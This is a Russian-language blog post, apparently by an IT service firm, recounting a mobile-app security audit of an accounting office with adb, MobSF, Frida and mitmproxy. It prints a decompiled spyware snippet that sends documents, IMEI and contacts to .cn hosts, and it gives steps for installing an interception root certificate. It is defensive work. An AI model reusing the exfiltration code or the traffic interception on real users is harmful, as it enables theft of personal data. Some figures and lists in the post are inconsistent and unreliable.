Аудит мобильных приложений: схема телефона с пермишенами и потоком данных unknown.cn tracking SDK 14 events/min ad-network IMEI, MAC contacts, GPS 47 телефонов · 312 приложений · 18 каналов утечки Запрошенные права: READ_CONTACTS READ_SMS RECORD_AUDIO ACCESSIBILITY SYSTEM_ALERT ACCESS_LOCATION FRIDA
Технический аудит мобильных приложений: что увидели наши инженеры на 47 устройствах бухгалтерской фирмы
Информационная безопасность · 18 мин чтения · Семёнов Е.С., руководитель ITfresh

Аудит мобильных приложений у бухгалтерии: что мы нашли в 47 телефонах

Аудит мобильных приложений у бухгалтерии: что мы нашли в 47 телефонах

Представьте: к нам в ITFresh как-то обратилась бухгалтерская фирма из ЦАО. Немаленькая, надо сказать: 47 рабочих мест, а обслуживают они порядка 240 юрлиц на УСН и ОСН. Что случилось? Старший партнёр забеспокоился: один из бухгалтеров стал получать уж очень странные звонки, где кто-то упоминал выручку конкретного клиента. Его просьба звучала просто: «Проверьте, не льётся ли что-то с телефонов». Мы взяли в оборот все 47 устройств. Перетрясли 312 установленных там приложений, буквально «подсмотрели», куда они стучатся, используя Frida и mitmproxy. Результат? Акт на удаление 23 приложений и переустановку клавиатур у 41 сотрудника. В этой статье мы пошагово расскажем, как именно мы это обнаружили и исправили. Никаких прикрас.

Почему смартфон бухгалтера — самая уязвимая точка офиса

Знаете, что я заметил за последние пять лет? Границу нашей цифровой крепости пробивает куда чаще не хитрющий хакер или какой-нибудь мега-вирус. Нет, это обычно… обычные руки сотрудника. Просто подумайте: на рабочем компьютере у бухгалтера установлен надёжный антивирус, групповая политика жёстко пресекает использование USB, не даёт запускать ничего неподписанного. Сервер 1С? Он сидит в отдельной VLAN, мы регулярно делаем снапшоты, а журнал событий journald буквально трещит от записей. И что же? А в кармане у этого же бухгалтера лежит обычный Android-смартфон. Туда, года три назад, сама бухгалтерия установила какой-то «бесплатный сканер штрихкодов от Альфа-банка» – из неофициального APK, потому что «в Google Play его, мол, не было». Как вам такой расклад?

Отсюда простая фраза, которую я повторяю каждому клиенту: периметр компании сегодня заканчивается там, где находится не самый внимательный сотрудник. Не на роутере MikroTik, не на серверной стойке Dell — на экране телефона уставшего человека вечером.

Для бухгалтерии любая угроза, как вы понимаете, становится очень и очень прицельной. Да и немудрено: через их мобильник сегодня проходит буквально всё! Это и банк-клиент с push-подтверждениями всех платежей, и СБИС для приёмки первички, и 1С Мобильное с целой базой контрагентов, и, конечно, ЭДО Контур для подписания актов. Мало того, на том же телефоне частенько стоит мессенджер, где кипит общение с клиентами. И вот тут-то могут пересылать что угодно: от копии паспорта генерального директора до ключа ЭП или фотографии расчётного счёта. Потерять контроль над одним из таких каналов? Это прямой путь либо к моментальному уводу денег, либо к медленной, но неотвратимой продаже всей базы клиентов прямо в руки конкурентам. Разве это не страшно?

С какой жалобы всё началось

Я до сих пор помню тот звонок. Старший партнёр одной из фирм, с которой мы работаем, позвонил мне в панике: «Сотрудница говорит, что ей за выходные звонили с номера +7 499, представились налоговой. И, что самое жуткое, в разговоре они назвали обороты по конкретному клиенту – те самые, которые она буквально вчера вбивала в декларацию! Как так? Получается, кто-то знает информацию, которая есть только у неё в смартфоне и в облаке СБИС». Я, честно говоря, сразу же сорвался на встречу. За 15 лет в этой сфере я усвоил одно: это стопроцентно классический почерк инфостилера, который работает через сотрудника, а вовсе не признак масштабной утечки из серверной базы данных. Разве можно спутать?

Этап 1. Сбор телефонов и инвентаризация без шума

Видите ли, главный риск, когда проводишь такой аудит – это попросту спугнуть инсайдера. Если он, конечно, существует. Поэтому мой первый совет партнёру был таким: ни в коем случае не объявляйте громко: «У нас проверка телефонов!». Мы придумали другой ход. Всё оформили как «обновление корпоративной политики безопасности», и это включало обязательную установку агента MDM. Сотрудники заблаговременно получили все необходимые уведомления. А потом, в пятницу вечером, они сдали свои телефоны – всего на 90 минут. Представляете, как удобно? Этого времени хватило нам для базового сбора информации, и что важно, никто даже не отрывался от своих рабочих задач.

Итак, что же мы нашли среди тех самых 47 устройств? Расклад был такой: 38 Android-смартфонов – тут чего только не было, от старенького Xiaomi Redmi 10C 2022 года до новенького Samsung Galaxy A55 2024 года. И, конечно, 9 iPhone: начиная с iPhone 11 и заканчивая свежим iPhone 15 Pro. А вот что интересно по правам собственности: только 12 из них оказались корпоративными. Остальные 35 были личными, но на всех стояли рабочие приложения. Что это, если не типичный сценарий BYOD? И, честно говоря, именно с такими ситуациями мы в ITFresh сталкиваемся чаще всего.

Базовый снимок системы мы делаем так: на Android – через ADB, а на iOS – с помощью cfgutil.

# Android: список всех установленных пакетов с версиями и путём к APK
adb shell pm list packages -f -U > apps_$(date +%Y%m%d)_$DEVICE_ID.txt

# Полный дамп пермишенов по приложениям
for pkg in $(adb shell pm list packages | sed 's/package://'); do
  echo "=== $pkg ==="
  adb shell dumpsys package "$pkg" | grep -E "(granted=true|requested|firstInstallTime)"
done > permissions_dump.txt

# Список приложений с системными подписями (раскрывает «маскирующиеся» под Google)
adb shell pm list packages -s -i | sort

# Активные процессы и их сетевые соединения
adb shell ss -tunap 2>/dev/null > netstat_dump.txt

Так вот, на тех 38 Android-устройствах в среднем обнаружилось по 178 приложений на каждом! Из них 91 — чисто пользовательские, несистемные. После дедупликации, то есть, удаления повторов, получился корпус для анализа: примерно 312 уникальных пакетов. Немало, правда?

Первая группировка — что отсеяли сразу

Из тех 312 пакетов, что мы обнаружили, 89 были крупными, хорошо известными приложениями с солидной репутацией. Сами понимаете: Telegram, WhatsApp, СберБанк Онлайн, ВТБ Онлайн, Тинькофф, СБИС, 1С Предприятие, Контур.Эльба, Microsoft Authenticator. Им я доверяю – ну, в том плане, что они вряд ли сами возьмут и сольют базу контрагентов на какой-нибудь подозрительный сервер. Но даже для таких гигантов мы обязательно проводим проверку пермишенов. Почему? Потому что массовое доверие совершенно не гарантирует, что у каждого конкретного пользователя они настроены безопасно. Здесь лучше перестраховаться.

Остальные 223 пакета — мишень для глубокого аудита. Из них автоматически выделил 47 «подозрительных»: они либо имели подозрительные комбинации прав (READ_SMS + READ_CONTACTS + INTERNET без видимой причины), либо подписаны не Google Play, либо имели больше 12 рекламных SDK по выводу aapt dump badging. По ним я подключил статический анализ.

Этап 2. Статический анализ APK через jadx и MobSF

Если находим подозрительные APK, я их сначала выгружаю с устройства. Затем прогоняем через MobSF, или Mobile Security Framework, если по-простому. Это такой открытый фреймворк, который буквально разбирает приложение по винтикам: показывает манифест, ресурсы, выдаёт декомпилированный код и, что важно, сигнатуры потенциально опасных вызовов. Устанавливаем мы его локально на виртуальную машину с Ubuntu 22.04.

# Локальная VM 4 vCPU / 8 GB RAM / 100 GB SSD
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh
./run.sh 127.0.0.1:8000

# Выгрузка APK с устройства
adb shell pm path ru.sus.scanner
adb pull /data/app/~~hash==/ru.sus.scanner-hash==/base.apk \
  ./apks/ru.sus.scanner.apk

# Дополнительно — декомпиляция в читаемый Java через jadx
jadx -d ./decompiled/ru.sus.scanner ./apks/ru.sus.scanner.apk

В MobSF я смотрю прежде всего на четыре блока: разрешения с пометкой «dangerous», список подключённых трекеров (Exodus Privacy через интегрированный сканер), список захардкоженных URL и наличие класса WebView с переопределённым shouldInterceptRequest — это типичный почерк приложений, которые стучатся на C2-сервер под видом загрузки картинок.

Кейс 1. Сканер документов с тремя серверами в КНР

Первая находка — приложение «Сканер ПДФ Профи», установленное на 18 из 38 Android-устройств. Открываю манифест: android.permission.READ_EXTERNAL_STORAGE, READ_CONTACTS, ACCESS_FINE_LOCATION, RECORD_AUDIO. Зачем сканеру документов микрофон и доступ к контактам? Никакого ответа в описании я не нашёл.

В декомпилированном коде через jadx нахожу класс com.scanpdf.tracker.UploadTask с тремя жёстко прописанными хостами в зоне .cn. После каждого сканирования приложение делает POST с base64-копией документа и метаданными устройства (IMEI, MAC, модель, версия Android, IP). По сути — каждая отсканированная накладная улетает на сторонний сервер.

// Фрагмент декомпилированного кода (упрощено)
public class UploadTask extends AsyncTask {
    private static final String[] HOSTS = {
        "https://api.scancloud-xxx.cn/v2/upload",
        "https://backup.docu-xxx.cn/sync",
        "https://stat.appmetric-xxx.cn/event"
    };

    protected Object doInBackground(Object... params) {
        String docBase64 = encodeFile((File) params[0]);
        JSONObject payload = new JSONObject();
        payload.put("doc", docBase64);
        payload.put("imei", DeviceInfo.getImei());
        payload.put("contacts", ContactsHelper.dumpAll());
        // POST на каждый хост в цикле для надёжности
        for (String host : HOSTS) httpPost(host, payload);
        return null;
    }
}

И вот что я зафиксировал в отчёте. Это приложение стояло у 18 сотрудников. А через него, только за последний год, прошло около 4200 первичных документов клиентов. Представьте: это фактически годовая первичка всех 240 юрлиц фирмы – и она лежит, между прочим, на трёх серверах где-то в КНР. Это уже не просто какая-то там паранойя, это, простите, исходники данных.

Кейс 2. Кастомная клавиатура Pro

На 22 устройствах оказалась альтернативная клавиатура (не буду называть конкретное имя, чтобы не делать рекламу). У клавиатуры есть права BIND_INPUT_METHOD и доступ в интернет — нормальная штатная связка. Проблема в коде: класс SyncEngine каждые 6 минут отправляет JSON со всеми набранными за период строками длиннее 6 символов на сервер «для улучшения предиктивного ввода».

Вот сидит бухгалтер, абсолютно ничего не подозревая. Набирает на этой самой клавиатуре пароль от 1С, вводит ИНН клиента, сумму платежа в банк-клиенте. А потом, может, ещё и текст переписки в WhatsApp с генеральным директором. И знаете что? Всё это, буквально всё, улетает прямиком на чужой сервер. Конечно, под красивое обещание, что данные будут «в обезличенном виде». Но лично я, честно говоря, в это «обезличивание» давно не верю. Слишком много контекста там остаётся для деанонимизации, даже если потрудится какой-то навороченный синтетический алгоритм. Нет уж, спасибо.

Этап 3. Динамический анализ через Frida на эталонном устройстве

Статический анализ, безусловно, даст понять, на что в принципе способно приложение. Но вот что оно делает *прямо сейчас*? Этого он не покажет. Для этого-то нам и нужен динамический анализ. Мы запускаем приложение, перехватываем его системные вызовы и внимательно смотрим, к каким API оно обращается в реальной работе. И где мы это делаем? На специально подготовленном эталонном тестовом устройстве — это Pixel 6. У него разлочен загрузчик и, конечно, установлен Magisk вместе с Frida-server.

Мы принципиально не рутуем личные телефоны сотрудников. Ну правда, это же нарушает не только всякую этику, но и, чего уж там, гарантию производителя. Вместо того чтобы рисковать, мы просто покупаем отдельное тестовое устройство. Туда переносим подозрительный APK и запускаем его под Frida, тщательно имитируя типичный сценарий использования. Так и безопаснее, и надёжнее.

# На рабочей станции с Frida CLI
pip install frida-tools

# На устройстве (с правами root)
adb push frida-server-16.5.0-android-arm64 /data/local/tmp/
adb shell "su -c 'chmod 755 /data/local/tmp/frida-server-16.5.0-android-arm64'"
adb shell "su -c '/data/local/tmp/frida-server-16.5.0-android-arm64 &'"

# Подключение и список процессов
frida-ps -U

# Скрипт-перехватчик для отслеживания всех HTTP-запросов через OkHttp
frida -U -l hook_okhttp.js -f ru.sus.scanner --no-pause

Сам hook_okhttp.js — это короткий JavaScript, который подменяет метод newCall в OkHttp и пишет в консоль каждый исходящий запрос вместе с заголовками и телом:

Java.perform(function() {
    var OkHttpClient = Java.use('okhttp3.OkHttpClient');
    OkHttpClient.newCall.implementation = function(request) {
        console.log('[OkHttp] -> ' + request.method() + ' ' + request.url());
        var headers = request.headers();
        for (var i = 0; i < headers.size(); i++) {
            console.log('  ' + headers.name(i) + ': ' + headers.value(i));
        }
        if (request.body() !== null) {
            var Buffer = Java.use('okio.Buffer');
            var buf = Buffer.$new();
            request.body().writeTo(buf);
            console.log('  body: ' + buf.readUtf8());
        }
        return this.newCall(request);
    };
});

И вот что мы увидели: всего за 30 минут наблюдения, наш «Сканер ПДФ Профи» отправил целых 47 исходящих запросов! И не куда-нибудь, а на три совершенно разных хоста. Причём что самое любопытное: запрос на каждый сохранённый документ дублировался дважды. То есть, шла двойная отправка, причём с разных серверов SDK. А в заголовках, как по нотам, были IMEI, IMSI, Mac-адрес и версия прошивки. Всё, что нужно для идентификации!

Перехват HTTPS через mitmproxy

Что, если приложение работает не через OkHttp, а лезет в низкоуровневые сокеты или нативные библиотеки? Тут стандартный Frida-hook на Java не поможет, он просто бесполезен. В таком случае, я поднимаю mitmproxy на виртуалке. Затем весь трафик с тестового девайса отправляю прямо туда. Конечно, сначала нужно поставить корневой сертификат mitmproxy в системное хранилище.

# mitmproxy 11 на Ubuntu 22.04
pip install mitmproxy==11.0.0
mitmproxy --listen-port 8080 --set ssl_insecure=false

# На устройстве через ADB настраиваем глобальный прокси
adb shell settings put global http_proxy 192.168.10.45:8080

# Сертификат mitmproxy в системное хранилище (требует root)
adb push mitmproxy-ca-cert.cer /sdcard/Download/
adb shell "su -c 'mv /sdcard/Download/mitmproxy-ca-cert.cer /system/etc/security/cacerts/c8750f0d.0'"
adb shell "su -c 'chmod 644 /system/etc/security/cacerts/c8750f0d.0'"
adb reboot

Вот тут-то и начинается самое интересное! Я вижу абсолютно всё, что приложение гоняет по HTTPS: JSON-payload, токены, все заголовки — ничего не скрыть. На этом шаге всплыли три совершенно дикие истории. Представьте: VPN-приложение «Free VPN Master» не только туннелировало трафик, но и швыряло список всех URL пользователя на какой-то маркетинговый домен. Ещё один случай? Фитнес-трекер отправлял GPS-координаты на adserver каждые 90 секунд, даже когда человек просто сидел дома и не тренировался! И вишенка на торте: блокировщик рекламы. Он нагло ставил свой root-сертификат и занимался MITM-атакой на весь пользовательский трафик. Настоящий шпион!

Этап 4. Аудит iOS-устройств — другая методика

Но как быть с iOS? Стандартный root-подход, увы, с нашими девятью айфонами не сработал. На актуальных iOS 17/18 джейлбрейк либо почти нереален, либо сразу убивает банковские приложения. Спасибо Jailbreak Detection! Поэтому для iOS у меня припасён совсем другой, особый набор инструментов.

Первым делом я всегда собираю детальный отчёт через MDM-агент. Кстати, мы в ITFresh работаем с Jamf School и Microsoft Intune — выбор зависит от конкретного клиента. Что я получаю из MDM? Полный список абсолютно всех приложений, их версии, отмечено ли приложение как MDM-managed, и точную дату установки. В итоге у меня на руках чёткая картина: что вообще установлено на устройстве и откуда оно там взялось. Никаких загадок.

После MDM-отчёта переключаемся на iOS Privacy Reports. С версии 15.2 в системных настройках айфонов есть просто отличный встроенный отчёт. Он показывает, к чему именно обращались приложения: к камере? Микрофону? Геолокации? Или, может, к сети? Все эти данные хранятся на устройстве целых семь дней. Как их достать? Я выгружаю отчёт, используя утилиту, похожую на ADB, но для iOS – libimobiledevice.

# Установка libimobiledevice на macOS / Linux
brew install libimobiledevice

# Подключение устройства (требуется доверие на самом телефоне)
idevicepair pair

# Извлечение журнала диагностики и privacy
idevicecrashreport -e ./crashlogs/
idevicebackup2 backup --full ./backup/iphone_$DEVICE_ID/

# Парсинг privacy.json внутри бэкапа Plist-парсером

Не менее важно проверить «Configuration Profiles». Знаете, на iPhone это, пожалуй, самый распространённый и опасный канал атаки. Что может такой установленный профиль? Он способен запросто перенаправить ваш трафик на чей-то чужой VPN, подсунуть свой root-сертификат, а то и вовсе заблокировать iCloud Lock! В нашей практике, из девяти проверенных айфонов, мы обнаружили у одного клиента «бесплатный VPN-профиль». Пользователь скачал его по обычной рекламной ссылке из Telegram. Естественно, после удаления этого профиля и всех его сертификатов я первым делом полностью переустановил все банковские приложения на устройстве. Безопасность прежде всего.

Этап 5. Что мы нашли в итоге — разбор по категориям

Шесть дней – вот сколько заняла напряжённая работа. В итоге у меня на руках лежал отчёт объёмом на 38 страниц! Но, конечно, клиенту я не стал давать такую кипу. Я свёл всю эту гору информации всего лишь к пяти ключевым цифрам. И вот, что мы получили:

И какая же была самая главная, самая шокирующая находка, которую мы представили партнёру фирмы? Оказалось, причиной утечки выручки по одному из клиентов стала... обычная клавиатура! Да-да, та самая "клавиатура Pro", установленная на телефоне у бухгалтера, который отвечал за этого конкретного клиента. Решение? Просто заменили её на стандартную, встроенную AOSP-клавиатуру, и, конечно, сменили все пароли к 1С и банк-клиенту. И что вы думаете? Весь сценарий утечки мы закрыли буквально за один день! Вот так, иногда, самое простое решение оказывается самым эффективным.

Этап 6. Внедрение MDM и политики на боевых устройствах

Мы в ITFresh никогда не бросаем клиента наедине с длиннющим списком «что всё плохо» после аудита. Это не наш стиль! Какой же следующий логичный шаг? Конечно, внедрение MDM и групповых политик для всех мобильных устройств. Для этой конкретной бухгалтерской фирмы мы подобрали оптимальное решение: Microsoft Intune (благо, он уже входил в их подписку Microsoft 365 Business Premium) в связке с Apple Business Manager для их многочисленных iPhone.

Базовая политика для Android

# Android Enterprise — work profile со строгими настройками
# Конфигурация через Intune Admin Center -> Device Configuration

managed_apps:
  whitelist_only: true
  approved_list:
    - com.tencent.mobileqq         # запрет
    - org.telegram.messenger       # разрешено
    - com.whatsapp                 # разрешено
    - ru.sber.online               # разрешено
    - ru.contour.elba              # разрешено
    - com.microsoft.office.outlook # разрешено
    - com.1cv8.mobile              # разрешено

restrictions:
  installFromUnknownSources: false
  allowInstallApps: false             # установка только через corporate store
  allowDebuggingFeatures: false
  cameraDisabled: false               # камера разрешена для сканирования
  screenCaptureDisabled: true         # запрет скриншотов в work-profile
  copyPasteToPersonalProfile: false   # запрет copy/paste из рабочего в личное
  bluetoothContactSharing: false
  factoryResetDisabled: true
  defaultPermissionPolicy: deny
  allowedKeyboards:
    - com.google.android.inputmethod.latin
    - com.samsung.android.honeyboard

password_policy:
  minLength: 8
  requireBiometric: true
  maxFailedAttempts: 8
  lockTimeout: 60

Базовая политика для iOS

# Apple Configuration Profile (XML)

  PayloadType
  com.apple.applicationaccess
  allowAppInstallation
  
  allowAppRemoval
  
  allowSafari
  
  allowScreenShot
  
  allowAssistant
  
  allowAirDrop
  
  allowBookstore
  
  allowEnterpriseAppTrust
  
  allowUntrustedTLSPrompt
  
  forceEncryptedBackup

Что самое главное в такой политике? Всё очень просто. Разрешаем только приложения из корпоративного магазина. Категорически запрещаем установку из любых неизвестных источников. Отключаем возможность делать скриншоты в рабочем профиле. И, конечно, блокируем передачу файлов между рабочим и личным контекстом устройства. Это, по сути, абсолютно базовый, но критически важный минимум для каждой компании, которая хоть как-то работает с персональными данными третьих лиц. Никаких компромиссов.

Этап 7. Регламент проверки на ежеквартальной основе

Аудит, хоть и крайне важен, по своей сути — это разовая вещь. Провели, показали, решили. Но чтобы обеспечить настоящую, долгосрочную безопасность, чтобы она действительно держалась, без чёткого регламента никак. Поэтому после завершения проекта я предложил клиенту внедрить целых три уровня контроля. Без них — никуда.

  1. Ежедневно (автомат через MDM). Intune собирает inventory приложений, шлёт алерт в Telegram-канал нашей дежурной смены, если на устройстве появляется приложение из чёрного списка или происходит попытка установки из неизвестных источников. Реакция — звонок сотруднику и удалённое удаление.
  2. Раз в квартал (ручной mini-аудит). Наш инженер выгружает с MDM полный список приложений, прогоняет новые пакеты через MobSF, обновляет белый список. Работа на полдня инженера — около 12 000 рублей в квартал.
  3. Раз в год (полный re-аудит). Полное повторение проекта с Frida и mitmproxy на 3-5 эталонных устройствах. Работа на 2-3 дня — около 60 000 рублей.

Как это работает на практике? Всего за первые три месяца после внедрения MDM Intune мы получили 14 алертов. Это немало! Например, один сотрудник пытался установить «бесплатное приложение для расчёта налогов» из какого-то неофициального магазина. Другой — менеджер игр, который хотел что-то для своего рабочего профиля. Но на каждый такой алерт наша реакция была по-настоящему молниеносной — всегда в течение часа. И знаете что? Проблем с безопасностью с тех пор больше не возникало. Система работает!

Контр-нарратив. Чего я НЕ рекомендую делать

Знаете, в нашей сфере есть несколько таких «популярных рекомендаций», которые, если честно, для малого и среднего бизнеса, по-моему, приносят больше вреда, чем пользы. Хотите узнать моё личное мнение на этот счёт? Сейчас я вам всё расскажу.

«Поставьте всем антивирус на телефон». Бесполезно. Большинство мобильных антивирусов на Android работают по сигнатурному принципу и не видят свежей малвари. На iOS они вообще не имеют доступа к процессам других приложений из-за песочницы. Зато создают ложное чувство безопасности и тормозят телефон. Гораздо эффективнее MDM с белым списком.

«Запретите все мессенджеры кроме корпоративного». Не работает с малым бизнесом. Клиенты пишут в WhatsApp/Telegram, и сотрудник в любом случае будет общаться. Лучше разрешить, но через MDM запретить автосохранение медиа и резервные копии в личное облако.

«Купите дорогой EMM-комбайн на тысячи долларов в месяц». Перебор для офиса 30-50 человек. Microsoft Intune входит в подписку Business Premium (около 2200 рублей за пользователя в месяц с учётом курса) и закрывает 90% задач малой компании. На больший масштаб уже имеет смысл смотреть в сторону Workspace ONE или Jamf.

Сколько это всё стоило клиенту

Чтобы всё было максимально прозрачно, вот она: реальная смета по этому проекту. Без лишних слов.

А знаете, что самое интересное? Все эти затраты можно полностью окупить буквально за один-единственный предотвращённый инцидент! Представьте: утечка даже одной клиентской базы на чёрном рынке, по нашим данным, оценивается в колоссальные 200-400 тысяч рублей. А про репутационные потери и говорить не приходится — это моментальная потеря 5-7 крупных клиентов, а то и больше! Так что, если подумать, 175 тысяч за разовый аудит — это, по моим самым скромным оценкам, всего лишь одна десятая от потенциальной стоимости всего одного такого ЧП. Отличная инвестиция, не правда ли?

FAQ: что чаще всего спрашивают клиенты

Можно ли провести аудит без рутования телефонов сотрудников?

Да, без проблем! Базовый аудит — это такая «первая линия обороны». Что мы проверяем? Все пермишены, установленные приложения, их версии, а также активные сетевые соединения. Эти данные мы снимаем без всякого root-доступа, используя только ADB и наш MDM-агент. Зачем тогда нужен root? Только для really глубоких инструментов, вроде hook-ов через Frida, перехвата HTTPS с подменой системных сертификатов или дампа SharedPreferences. На корпоративных гаджетах для таких серьёзных проверок мы всегда берём отдельное тестовое устройство, где root есть. А вот на «боевые» телефоны наших клиентов мы ставим лишь агент MDM – никаких лишних рисков.

Сколько стоит такой аудит для компании на 30-50 человек?

Представьте: для клиента из бухгалтерии, у которого 47 устройств, мы всё сделали за шесть рабочих дней. Итоговая стоимость? 175 000 рублей. Что конкретно вошло в эту сумму? Мы полностью собрали все данные, провели статический анализ двенадцати подозрительных APK-файлов, а затем выполнили динамический анализ через Frida на четырёх эталонных телефонах. Выдали подробнейший отчёт с чётким списком приложений, которые нужно немедленно удалить. И, конечно же, разработали и внедрили полноценную политику MDM. А дальше? Клиент теперь просто оплачивает ежемесячный абонемент на поддержку MDM — это всего 18 000 рублей в месяц.

А если сотрудники откажутся ставить MDM-агент на личные телефоны?

На нашей практике люди, в общем-то, соглашаются. Главное — внятно объяснить им, что такое профиль "work-only". Через Android Enterprise или Apple User Enrollment он полностью изолирован, знаете, как отдельный контейнер. Мы же видим только корпоративные приложения, никакой вашей личной переписки или фото — вот вообще ни байта. А если кто-то всё равно в отказ? Тогда предлагаем наш корпоративный телефон. Есть, конечно, и третий вариант, который часто срабатывает: если человек категорически против, мы просто отзываем доступ к рабочей почте и 1С с его личного устройства. И, вы удивитесь, именно в этот момент часть сотрудников вдруг соглашается на MDM.

Какие приложения мы чаще всего удаляем у бухгалтеров?

Хотите знать, с чем мы столкнемся? Вот мой личный «Топ-5» самых опасных угроз на 2026 год, хотя их, по правде, шесть! Во-первых, это VPN-приложения, особенно те, что с китайскими SDK: они ведь не просто просят полный доступ к трафику, они усердно логируют каждый ваш URL. Во-вторых, кастомные клавиатуры — это вообще катастрофа, они пишут абсолютно всё, что вы набираете, включая пароли. Третье — обычные фонарики, которые зачем-то требуют разрешение на чтение контактов. Четвертое — бесплатные сканеры документов, которые потом загружают ваши файлы куда-то в чужое облако. И, наконец, блокировщики рекламы, устанавливающие собственный root-сертификат. Эти шесть категорий — это, по сути, открытые двери для утечки персональных данных ваших клиентов. Серьезно.

Чем отличается аудит для бухгалтерии от аудита для разработчиков?

Бухгалтерия и разработчики — у них же совершенно разные риски, правда? Бухгалтеры, как мы понимаем, постоянно работают с банк-клиентами, СБИС, 1С Мобильным, ЭДО. А это что? Это деньги, это персональные данные клиентов! Для них угроза номер один — это, без сомнений, кейлоггеры и все эти шпионские клавиатуры. А вот разработчики? Они держат на телефонах GitHub, корпоративный VPN, доступ к staging-серверам. Их главный приоритет — это изоляция от потенциально заражённых рабочих станций и, конечно же, надёжная защита OAuth-токенов. Поэтому мы и подходим индивидуально: бухгалтеру я первым делом чищу все левые клавиатуры и сторонние банк-сканеры, а разработчику — абсолютно всё, что хоть как-то может перехватить SMS с одноразовым кодом.

Итог

Итак, что получила та бухгалтерская фирма из ЦАО? Всего за шесть дней нашей работы они не просто обзавелись списком из 23 приложений, которые надо срочно удалить. Мы переработали настройки пермишенов на 41 устройстве! Но это ещё не всё: клиент получил готовый регламент для квартального контроля и полностью настроенную политику MDM для всех 47 сотрудников. Самое главное? Ту самую утечку, с которой они к нам пришли, мы закрыли в первый же день. Представляете, буквально после того, как удалили одну единственную кастомную клавиатуру у одного бухгалтера! Дальнейшая работа, конечно, была уже про системный подход: мы позаботились, чтобы подобная ситуация не повторилась, скажем, через полгода с другим сотрудником.

Похожая задача в вашей компании?

Расскажите, что у вас сейчас — пришлю план работ и оценку в течение рабочего дня.

Написать в Telegram  или  +7 903 729-62-41

Семёнов Е.С., руководитель ITfresh

Похожие статьи

Подпишитесь на рассылку ITfresh

Каждую неделю — свежие, практические гайды! Это настоящая находка для руководителей IT и сисадминов. Здесь всё: от безопасности и тонкостей 1С до миграций, резервных копий и, конечно, крутые лайфхаки прямо из наших реальных проектов.

Реквизиты оператора персональных данных

ООО «АЙТИ-ФРЕШ», ИНН 7719418495, КПП 771901001. Юридический адрес: 105523, г. Москва, Щёлковское шоссе, д. 92, корп. 7. Контакт: info@itfresh.ru, +7 903 729-62-41. Оператор обрабатывает e-mail подписчика в целях рассылки информационных и рекламных материалов до момента отзыва согласия.